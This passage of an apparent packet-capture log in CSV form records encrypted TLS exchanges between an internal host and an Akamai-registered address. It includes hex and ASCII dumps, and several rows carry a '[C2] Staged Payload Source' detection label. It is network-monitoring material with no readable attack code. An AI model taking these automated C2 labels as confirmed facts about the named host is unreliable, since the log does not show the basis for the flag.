\"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'(\\\\x83\\\\xd9\\\\xd8/Y\\\\x058\\\\xf9j\\\\xd5>\\\\xdc\\\\xffKL\\\\x98\\\\x87\\\\x06\\\\xba\\\\xd4\\\\x1d\\\\x99\\\\xdc-Y\\\\xbfw\\\\x9f6\\\\x90w' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:41.152767,9,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1884098754 Ack=2441337968,bc2411360d0cbc24112907bb080045000028eca640004006501c021759530a98980b01bbf9c9704d10c29183dc705010003ffe270000,\".$.6\n..$.)....E..(..@.@.P...YS\n.......pM.....pP..?.'..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60582, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20508, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884098754, \"\"ack\"\": 2441337968, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 65063, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:41.582346,10,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=1884098754 Ack=2441337968,bc2411360d0cbc24112907bb08004500013aeca7400040064f09021759530a98980b01bbf9c9704d10c29183dc705018003fff39000016030300da040000d60001449c00d000001e80479be6b5623bf85fbd3bc9777aaaa6faea94383c6116ac162c9de06d7b3bf6523ac747f71a783e5c08972abc5dc54b5ac3a4e921acfe1b921599f04eb6e555f2ad2a9ec2be6f137b32d7cae30fe38070163b39430e6c09f8471660410857cecc3c86df86ddeb5687f9e62456e527591e845b3090f67c15ffcf9894a7ed14a449a056f99e7a08ad4dedf39dfdfcecf2da7d74e2ab27143e8fd0394cde460ee352983530f676c2e09af65e9c5991ca20aa20b0bd282a48a5e1e4aafe24db14b06096c091b9d07623da715d6a90140303000101160303002807266d8f2f8a575a96da2ce6ffe0970aa10cc1c0313bc22e52dcde695cafb843a1c2c5e9a50cde53,\".&m./.WZ..,....\n....1;..R..i\\..C.......S\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 314, \"\"id\"\": 60583, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20233, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884098754, \"\"ack\"\": 2441337968, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 65337, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 218, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=214 lifetime=83100 ticketlen=208 ticket=b\\\"\"\\\\x00\\\\x00\\\\x1e\\\\x80G\\\\x9b\\\\xe6\\\\xb5b;\\\\xf8_\\\\xbd;\\\\xc9wz\\\\xaa\\\\xa6\\\\xfa\\\\xea\\\\x948<a\\\\x16\\\\xac\\\\x16,\\\\x9d\\\\xe0m{;\\\\xf6R:\\\\xc7G\\\\xf7\\\\x1ax>\\\\\\\\\\\\x08\\\\x97*\\\\xbc]\\\\xc5KZ\\\\xc3\\\\xa4\\\\xe9!\\\\xac\\\\xfe\\\\x1b\\\\x92\\\\x15\\\\x99\\\\xf0N\\\\xb6\\\\xe5U\\\\xf2\\\\xad*\\\\x9e\\\\xc2\\\\xbeo\\\\x13{2\\\\xd7\\\\xca\\\\xe3\\\\x0f\\\\xe3\\\\x80p\\\\x16;9C\\\\x0el\\\\t\\\\xf8G\\\\x16`A\\\\x08W\\\\xce\\\\xcc<\\\\x86\\\\xdf\\\\x86\\\\xdd\\\\xebV\\\\x87\\\\xf9\\\\xe6$V\\\\xe5'Y\\\\x1e\\\\x84[0\\\\x90\\\\xf6|\\\\x15\\\\xff\\\\xcf\\\\x98\\\\x94\\\\xa7\\\\xed\\\\x14\\\\xa4I\\\\xa0V\\\\xf9\\\\x9ez\\\\x08\\\\xadM\\\\xed\\\\xf3\\\\x9d\\\\xfd\\\\xfc\\\\xec\\\\xf2\\\\xda}t\\\\xe2\\\\xab'\\\\x14>\\\\x8f\\\\xd09L\\\\xdeF\\\\x0e\\\\xe3R\\\\x9850\\\\xf6v\\\\xc2\\\\xe0\\\\x9a\\\\xf6^\\\\x9cY\\\\x91\\\\xca \\\\xaa \\\\xb0\\\\xbd(*H\\\\xa5\\\\xe1\\\\xe4\\\\xaa\\\\xfe$\\\\xdb\\\\x14\\\\xb0`\\\\x96\\\\xc0\\\\x91\\\\xb9\\\\xd0v#\\\\xdaq]j\\\\x90\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<Raw  load=b'\\\\x07&m\\\\x8f/\\\\x8aWZ\\\\x96\\\\xda,\\\\xe6\\\\xff\\\\xe0\\\\x97\\\\n\\\\xa1\\\\x0c\\\\xc1\\\\xc01;\\\\xc2.R\\\\xdc\\\\xdei\\\\\\\\\\\\xaf\\\\xb8C\\\\xa1\\\\xc2\\\\xc5\\\\xe9\\\\xa5\\\\x0c\\\\xdeS' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:41.583420,11,TCP 10.152.152.11:63945 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63945,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2441337968 Ack=1884099028,bc24112907bbbc2411360d0c0800450002172fb440008006cb1f0a98980b02175953f9c901bb9183dc70704d11d450180401ab85000017030301ea00000000000000014b1703f02fbb969f681572ffa9fb68c40c9257fbfc339a29a3b913f335d4e832ecfb554389fbacad5d64b39fcf8dee1ad2eb4e794e54fed2e3bea9fd749206cef4cbd0cf2d9c9764e8ed3370d2d577c0bdbaf9525365b0c2edfdae9ebf968a5085d9d546eb5a93d1c8a17714ccc852848da1ca4337701e4d840ddc7cb4017dc8b105d02e03f2b57c495ed08fe0e59c316ad4e9412bd19f43f192d1b04a4f8e4b6c1a701ceba729a3efdbdc2aff9fc8f7248bcb9e5d46d14ec10b0abad2e1aacb22be4b8777ba64b8a107150ee7dacefe0d23affab912dc47602d4b5dca9922fb2a284f5f283aa9328562b397bdb946ef5469ce1102025304aa039f921ca1a9659d83b193810f8a2048ec50ad747f3c4c5d413ef108d61c828a061cffab60da46659a4011883196b9104f67c27285f84ac310015a57c9e6e3cc158cc1a49683f30fcad8e7270e6eed43ffe5554f4cc369f21daff502819d0ae64b17a9888c0cf1784b0164e8862a5ac137adf65e0b17ec58b4e3041fc48f55ab5b99dd8d379e69222a0a180ac1a51ee572d5c9f356948abee7891fa71c43e5f5803f6ec21eff2760999002aa19e0501870b1cc5bbf55d64e1f8beb4115485f7c4e35994eeab78c37ae8ca73036a754f7577de82ee78e76eb41a2909199244fb47088e37655e23bbd12,\".$.)...$.6\n...E.../.@.....\n.....YS.......ppM..P....................K.../...h.r...h...W..3.)....5..2..UC....]d........NyNT......t.......-..d..3p..w....RSe.........P...F.Z....w...R....C7p.M.\n.|..}........|I^.....1j..A+..C....JO.Kl.p...)....*....$...]F.N..\n.....\"\".K.w.d.........\n#.....G`-K]..\"\".*(O_(:.2.b....F.Ti....S........e....... H.P.t.<L]A>..........`.Fe.@..1...Og.r..J...ZW...............'.n.C..UOL.i.......\n.K......xK.d..*Z.7..^...X......U.[...7.i\"\"*\n.\n....r...V........C...?n...'`......P.p..[.U.N...A.H_|N5.N...7...06.T.W}....v.A....$O.p..vU.;..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 535, \"\"id\"\": 12212, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 51999, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63945, \"\"dport\"\": 443, \"\"seq\"\": 2441337968, \"\"ack\"\": 1884099028, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 43909, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 490, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01K\\\\x17\\\\x03\\\\xf0/\\\\xbb\\\\x96\\\\x9fh\\\\x15r\\\\xff\\\\xa9\\\\xfbh\\\\xc4\\\\x0c\\\\x92W\\\\xfb\\\\xfc3\\\\x9a)\\\\xa3\\\\xb9\\\\x13\\\\xf35\\\\xd4\\\\xe82\\\\xec\\\\xfbUC\\\\x89\\\\xfb\\\\xac\\\\xad]d\\\\xb3\\\\x9f\\\\xcf\\\\x8d\\\\xee\\\\x1a\\\\xd2\\\\xebNyNT\\\\xfe\\\\xd2\\\\xe3\\\\xbe\\\\xa9\\\\xfdt\\\\x92\\\\x06\\\\xce\\\\xf4\\\\xcb\\\\xd0\\\\xcf-\\\\x9c\\\\x97d\\\\xe8\\\\xed3p\\\\xd2\\\\xd5w\\\\xc0\\\\xbd\\\\xba\\\\xf9RSe\\\\xb0\\\\xc2\\\\xed\\\\xfd\\\\xae\\\\x9e\\\\xbf\\\\x96\\\\x8aP\\\\x85\\\\xd9\\\\xd5F\\\\xebZ\\\\x93\\\\xd1\\\\xc8\\\\xa1w\\\\x14\\\\xcc\\\\xc8R\\\\x84\\\\x8d\\\\xa1\\\\xcaC7p\\\\x1eM\\\\x84\\\\r\\\\xdc|\\\\xb4\\\\x01}\\\\xc8\\\\xb1\\\\x05\\\\xd0.\\\\x03\\\\xf2\\\\xb5|I^\\\\xd0\\\\x8f\\\\xe0\\\\xe5\\\\x9c1j\\\\xd4\\\\xe9A+\\\\xd1\\\\x9fC\\\\xf1\\\\x92\\\\xd1\\\\xb0JO\\\\x8eKl\\\\x1ap\\\\x1c\\\\xeb\\\\xa7)\\\\xa3\\\\xef\\\\xdb\\\\xdc*\\\\xff\\\\x9f\\\\xc8\\\\xf7$\\\\x8b\\\\xcb\\\\x9e]F\\\\xd1N\\\\xc1\\\\x0b\\\\n\\\\xba\\\\xd2\\\\xe1\\\\xaa\\\\xcb\\\"\"\\\\xbeK\\\\x87w\\\\xbad\\\\xb8\\\\xa1\\\\x07\\\\x15\\\\x0e\\\\xe7\\\\xda\\\\xce\\\\xfe\\\\r#\\\\xaf\\\\xfa\\\\xb9\\\\x12\\\\xdcG`-K]\\\\xca\\\\x99\\\"\"\\\\xfb*(O_(:\\\\xa92\\\\x85b\\\\xb3\\\\x97\\\\xbd\\\\xb9F\\\\xefTi\\\\xce\\\\x11\\\\x02\\\\x02S\\\\x04\\\\xaa\\\\x03\\\\x9f\\\\x92\\\\x1c\\\\xa1\\\\xa9e\\\\x9d\\\\x83\\\\xb1\\\\x93\\\\x81\\\\x0f\\\\x8a H\\\\xecP\\\\xadt\\\\x7f<L]A>\\\\xf1\\\\x08\\\\xd6\\\\x1c\\\\x82\\\\x8a\\\\x06\\\\x1c\\\\xff\\\\xab`\\\\xdaFe\\\\x9a@\\\\x11\\\\x881\\\\x96\\\\xb9\\\\x10Og\\\\xc2r\\\\x85\\\\xf8J\\\\xc3\\\\x10\\\\x01ZW\\\\xc9\\\\xe6\\\\xe3\\\\xcc\\\\x15\\\\x8c\\\\xc1\\\\xa4\\\\x96\\\\x83\\\\xf3\\\\x0f\\\\xca\\\\xd8\\\\xe7\\\\'\\\\x0en\\\\xedC\\\\xff\\\\xe5UOL\\\\xc3i\\\\xf2\\\\x1d\\\\xaf\\\\xf5\\\\x02\\\\x81\\\\x9d\\\\n\\\\xe6K\\\\x17\\\\xa9\\\\x88\\\\x8c\\\\x0c\\\\xf1xK\\\\x01d\\\\xe8\\\\x86*Z\\\\xc17\\\\xad\\\\xf6^\\\\x0b\\\\x17\\\\xecX\\\\xb4\\\\xe3\\\\x04\\\\x1f\\\\xc4\\\\x8fU\\\\xab[\\\\x99\\\\xdd\\\\x8d7\\\\x9ei\\\"\"*\\\\n\\\\x18\\\\n\\\\xc1\\\\xa5\\\\x1e\\\\xe5r\\\\xd5\\\\xc9\\\\xf3V\\\\x94\\\\x8a\\\\xbe\\\\xe7\\\\x89\\\\x1f\\\\xa7\\\\x1cC\\\\xe5\\\\xf5\\\\x80?n\\\\xc2\\\\x1e\\\\xff\\\\'`\\\\x99\\\\x90\\\\x02\\\\xaa\\\\x19\\\\xe0P\\\\x18p\\\\xb1\\\\xcc[\\\\xbfU\\\\xd6N\\\\x1f\\\\x8b\\\\xebA\\\\x15H_|N5\\\\x99N\\\\xea\\\\xb7\\\\x8c7\\\\xae\\\\x8c\\\\xa706\\\\xa7T\\\\xf7W}\\\\xe8.\\\\xe7\\\\x8ev\\\\xebA\\\\xa2\\\\x90\\\\x91\\\\x99$O\\\\xb4p\\\\x88\\\\xe3vU\\\\xe2;\\\\xbd\\\\x12' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:22:41.583439,12,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1884099028 Ack=2441338463,bc2411360d0cbc24112907bb080045000028eca840004006501a021759530a98980b01bbf9c9704d11d49183de5f5010003ffe270000,\".$.6\n..$.)....E..(..@.@.P...YS\n.......pM....._P..?.'..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60584, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20506, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63945, \"\"seq\"\": 1884099028, \"\"ack\"\": 2441338463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 65063, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:22:41.918809,13,TCP 2.23.89.83:443 -> 10.152.152.11:63945,2.23.89.83,10.152.152.11,443,63945,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=1884099028 Ack=2441338463,bc2411360d0cbc24112907bb080045000d80eca94000400642c1021759530a98980b01bbf9c9704d11d49183de5f5018003f0b8000001703031f9c07266d8f2f8a575b76c3c0a1bf04f7ffb322afb3510a09b0a1b73c07061d4fade8b41776fb38f24429f03841165eddab8b36930773fd0873853996e2694d73e1ac1cc0d0d57a93fa3606b8433c45776046838ea78dce685adb10e3a34e38edf4586c261bd347b03f8e849dd2913aa845a2c33a7f6fa45c9728d1f19f0f0a6ea9134b00b023f5c36b83ebf61c8858461c466b19a7f051bc91740462cf7866a71449c243d10578858fe5e68831022453900395a717ce89e66845ba7bf4ff70d05afb15bbd69e07e89cf698798c114377d96a4727392c85d9c3438031200ed57bde464df7b58fc0b9bd573ec744b7741d93a1132117fe6e742977fa4911b72ea57ac5c55f4e7d38b3949961c723f2fd5d7b5db7c1075b7c658f49e8cf4806be1de01f5b4b2983dfffe1561569807d8a311df8907a4a17e4455bc9e488bbeba2ef084a972cfe01a74f7a87109cf64748e8a8a9f86a7500584481518f5cd442dc7a20177ceea04ce14b2972052867013957f419a7f84856dbef124268340f52dfd5333f34eb29ec9e4ea5f95fdeae2313ba1f46776080f719ad37ae898fa2afec02f73359024255e356eb94d476d089e4a5ad4c2587b0d546f987787b6d9ae85b98716cfa9125d6d105ce972a2f98d1d9c53166dbb601c93114db5e8fcfd918af1f731bdfb0e331c5cff1071d1b418a0d205ee09ce2784fee1a11cccedd616a3b5356ef281ab776f25b3d5f4d77ae0b05e58cf4d47d569c05515c113d460b1be669bf27ac92ff2acf37a5519ec2f0cabfe8baeae218256811555661b0c2a28f8170c1e5166d19a4a57bb95ac8aeb8ecbf19e0c47f9c4174a28a7f69c766b3f28554420de3e73498a1de2a218530c66a93da0b4d8fb25902f0f998dfb53eeb180049c43f8d2be714ac5966e54c19f228ce16a5f4d9c7660681f4e104366026fcbc7f20bf89594fb16e1824036a44b374756e4c5649a279b17263c9be07c7f01fcd163befb858a085bcad19d6558cc5a451e349017228303e0e12390ce464f4c654a0f6a79d9130e5ab72ef8daf6ba330e376d8901a7fde169ea5ed138978aedd2e1fabe2c9cf2b95f73e3d1287426ca4fee3eba9f6be5bbc2e6b84accbaf03d844a43b25282eeca8ade9f37624167e4ac231ca22540b4e51ea6da1e3e1bc48deb308cf200d122c110a86860ea55ebd0875fd0b65852e79793cfef1fedc3c06e37c063a88a90dc473eee89904e83ce94f5fba458f170d85d9e4c07b92eecbbcc2dac48553e1c3dd00ee2009f34bbea7a4187312d5ffbf55dd3519dc03c753b3b997eb9bd7a6d0764885991258c0db60b730726c9d9c78b119bc7c5468e3727a6a879f1d2bb4c2bac40f131bbb27d8c792b7b21c11a3013e783cc7675f25cbebaec3f24b059da36c89b761683522e8e68793470799c3e28efa4fd2be74b1baa81bad3a2fa83243da09399863deb887ba44c12c430bc850db07989ef79d50e6291e04c11562ca10f03d9ac645793cdaaf2440cb780635667c18b2b2205e7b4173c302b79bb0b94fb8ec868bc44bef8808597ba0eca144bdf1a97ffe561cdd342714bda9b8688198be7c3c6306766b7943ec51bd5b42e90c090fd5c9f648eade55ac55535a33a8690f2d373b4b0a23c5a3bb82890b886bc7a5023af4e6057e9543ff7969c12a9a9f30c05e39ffc80356b1f829e8ff6c1be4f47d1283887bbaa3419f35bc87f7256b6a4d2094690eb1b91d67d21b8bb5a3fe9075d7cc1fc57a8585814f39099f04e1afad0c2eeb319166b8e58af8b31c7f1039a8fff25ce0f611b4e96f15c0ae5b59af76fc0d6edc94b8d40cf785f7f7a4d97f84e2ee4e98218033b8e36a36b6a8e73e9d50f8824cb16094afc4490f1cf7a8fc4142ab31a0b31bdee03d543638cc5fad8cddc9b0cd4261c70fe0c26a222158c1878ec65ca2e64aa22e58d53fb3f197b2698919134ea489f6e062d890a4ffc09581219a6bda7788030baa0004e08229fe194395962f8fa14eddf9e3096dfbdec1cf4f2b64ff77da3b1294a3e63157d5ff8a4d8496b31e6621298537484078d5f3be8f44edd038294ed492a3676aaf6a8900ac3543d4f9dc80d6202590314674640371299793062a270245800b99c3a97d88fd7de6a7daad8783daaf3fae6c123a6b8b86f01aeb3cb8d4d71fb9241ea35c3c31ba5583a52f1716ec82afe46eec4eaf5b4a9037aeda147071f9b93bd90103c0b425e3aa061a150822f318421e14235cc590ccd6c9dfdfb7bef559ab5cdf6f2b4896d8fcd78ec40b4bd225535cc22d1036c2f686820fde44a1091406da3b496a26308d60bc6c9400dfaea28bd0301de32f60f3a6048d87f9ab88bd222193915aa9f1d0967394a904bec779e4c9b0060cd17f661423a3167efbd2059890824e1cd1a57ea5db71cc095724818d3078bf255c07962ed598911a1628868ffd31df552114ab1f9dbd98eaea4dc6d1233f53c5f7c86a5f6cf752fe077f6d7c8ac44d685fdd7c318cad4f154b6e625e63d8d53ebe74d217c40372df672a5411816330b958b2c2c7ade463dc1d918d2feeb7299bbfdaeceea32d0a7095eb22f1e6c2576ff37278b272f5078d531dd3e39bd06014bc812d8ef867937a779c46dde97e73fdf6664fe43952980d811a714bf8f796f343b03001718ea2629e05684af39034cf2d881ab749f9ada64ca9189075da2c1d35932fb6ee89eea6121257ace6791e8e6783be3b67c0f8b938f5b1d2184be96cfe0562ed6547f261957112a511ef04acd3c4172fd0ddc5c438928be0da48c388283051f248386c43013f258b7c6b653393d52bf38e13919aaf80be7cba2bb3cfb276e0147c36e09ddd8486748b0233e023379cdab489aee1e7b3f8539f9497fd5e561f754c49cb6b65596f30870d36782456224ed02f389ef50a75a6cd90098eb27990313f6c83a885104e92efce7a5d1ecc2130c3e4bc16b489b1996fe8569fbb686b0f51494a76842cd5d832f224d73de771c4af55175eeda81d3b6f2190d43e455c60241858391345ab7ab928055763b1c3b1857240f3a1aadf5777e801c2d47907a516ec65484f7cf41b63f67cf43a5ac313d7bb6ffa1bd9b73211586870270877b04a4cad43a993856d26923486685fefe5cd3021c1eea7047a5f114d1b9e6c601f1f5cf4fc92b4031eef901f5d49a0437168c51b3d940e4ba627abab3b05d5cadc163eeb7b50e46fa5f4a586661b44d9d4de813550ef08af6196956efb615e034d213ec533694d0b75c9e98e417f5a2c4cae1ed9e49e7441bafc793ec6457a8a9ff5aadb7a823b17487f3bee90bd8ad4d35be8cdc587492e59183e50eaeca13feb0742824545798d73160255e94a7fecaa5f3f7f617adea5662c8a9d2b046fdfcffb45f718c332ed362d0b3e573cfdad316c2950bd221260d8d657cf9251f474607fbded9e1939f5b715e6e832554786a81ea381be94d5b2f5062b8a16d2de53b6f6b7506d05cd1360e548a7f4152b13fd16d1f94c59df24d5d7d2aac6944e349f9704746b7e051d5cc3463efa8211d196534bf2b8f3e51504474580bd2034623947053bc32ebbb6940ad383c67aff4c71520213c5dd709e64f52895fdbb8f1334cea6af9f5df7acfaa43b9a6867ed0133ce5d5414f1471a902c1ea29b0b5f528cfd62dddf1a4d9617dde9e1db43ddb2a9483d5c7afd957c3fa62bebf58c70d515cf73c61c7aacc81f2ed0f10b40a88f21955f2e9ac639ca2436a64825366a5e391783475e3413c3908635085b32f8c67ff162be306f0e7625163cdf0eea00a779b5337421778eeca05527767c90f17f84a2de23a849b3fab1e50d7c9ad055939f3259b5939f1e4d8d0540bc3d4a451e515c991d24488f827102b626bdfebf3094a44b178a995d87b3c38bb733e1dd11faf110c88ee3236fb22aed89b8a4ed3e2a138c1eee554e750802496b1b88469f1eb4f8d0fdc0799a00b1ecfcffd6e77874910bde8689782aa3208937b09d58ee3f384369dec4d9cdc1fcf0ff1967dd7e18ea8d99e9006d795e789475f1fb97df287c2973b17bed93c2f5a9545c4e6e1bcc8341a0fb8a3e14a74ea341beb4a18281add96607f6268fffda03afe8be512758a58e31bc197901f9d9b5c21cacd9a0769c2d67ba1cbc33566bc46b1b757d507103f458a9f6658bcf19f6a88d9f7f1d0871ea63a25a2fff6f999bcd8ec0502aee38279c104976106798b34ea55676324d7585b22e45241a7b3995bd38267aa18fe6767af3f170f632e68a5025798e680d5d5be5de715f2eba82077e43259f43703f745dd5cf837708890bfe8bfc9cf2b9cec06f3e617ceb32356d1222eff48ae6f88496d1db6579cb32f9b44835a9a576500e431b5bc0e8ddea4d7d52c13d034e65eef1eaa1f508306f1bf5699f8fad953e4e875fc721fd4b97ecc5f2064c8a881fd302569bd7d79663c8deadc29a6484a90ce6e0874aa7ea49265af90a8bf33b0d9dba3576e7e0d60559d8dddddc410c42fc5c8aa8728266da5154b9d784450150e16c404b3f400c927005c4074e1a8674341926633f7e95addc798cdc913a02577ee9d1b723cdd624e4c13f9e56c9fefbdb447006b460ed2954f45062a591673470b94ef8de2c9731607cb772da2f3ff23ea0a288f9f36f2461346aeef458965ad2a2cd99be1f5fabb886c1c1e7c06dfc4c82d21fa5b2377362a5fb315aac51448f86f045840a8ebef2bdd3d3a766269b16401833e4b2b18e1da1f1d68851c952689f23e4d1a6e6db9b6b8d571678a83c6fa81f3734091c3b6781a08a73068270b83042e63bfd6782cff5f6eed9502df30ac2f6122de6fb79d1,\".$.6\n..$.)....E.\n...@.@.B...YS\n.......pM....._P..?..........&m./.W[v........\"\"..Q\n\t...<...O....v.8.D).8A.^...6..s..s.9..iMs......z..6..C<Ew`F.....hZ....N8..Xl&..G.?.....:.E..:.o.\\.(....\nn..K..#..k.....XF.Fk...Q..t.b.xf..I.C..x.....1.$S........hE.{..p.Z..........y..Cw.jG'9,...C.1 ..{.FM......W>.D.t....!..nt)w.I....z.._N}8...a.#..]{]...[|e.I..H.....[K)....V.i.}.1...zJ..E[........J.,...Oz....GH....ju.XD.Q.\\.B.z .|..L.K)r.(g.9W....HV...Bh4.R..3?4.)..N.._..#...Fw`....7........3Y.BU.V...v.....L%...F..x{m..[.ql..%.....*/....1f....1..^......s....1......A.\n ^...xO......aj;SV.(..v.[=_Mw.......}V..Q\\.=F...i.'...*.7.Q..........%h.UVa.....p...m...{.Z..........At...i.f...TB\n..4...*!.0.j...M..Y......>...I.?.+...Yf.L..(......f.....6`&... ..YO.n.$.jD.tunLVI.y.rc........;..X......U...Q.I.r(0>..9..d..T.....0..r...k.0.v...........x........+..>=..Bl.......[..k......D.;%(......v$.~J.1.\"\"T.NQ.m....H.... \n.,.\n....^..u..e..yy<....<..|.:..\n.s.....<.O_.E..\n....{........S..... \t.K....s....U.5....S........vH...X..`.0rl..x...|Th.rzj...+........'.........>x<.g_%.....K...l..ah5\"\"....G......O..t.....:/.2C.\t9.c....D.,C..P......P.)....b...=..Ey<..$@.x.5f|... ^{As......O.....K...Y{...D.....V..4'....h...|<c.vkyC.Q.[B..\t....H..U.USZ3.i.-7;K\n#.......k...:...~.C.yi.*..0.^9...V..)..l...}...{..A.5...%kjM 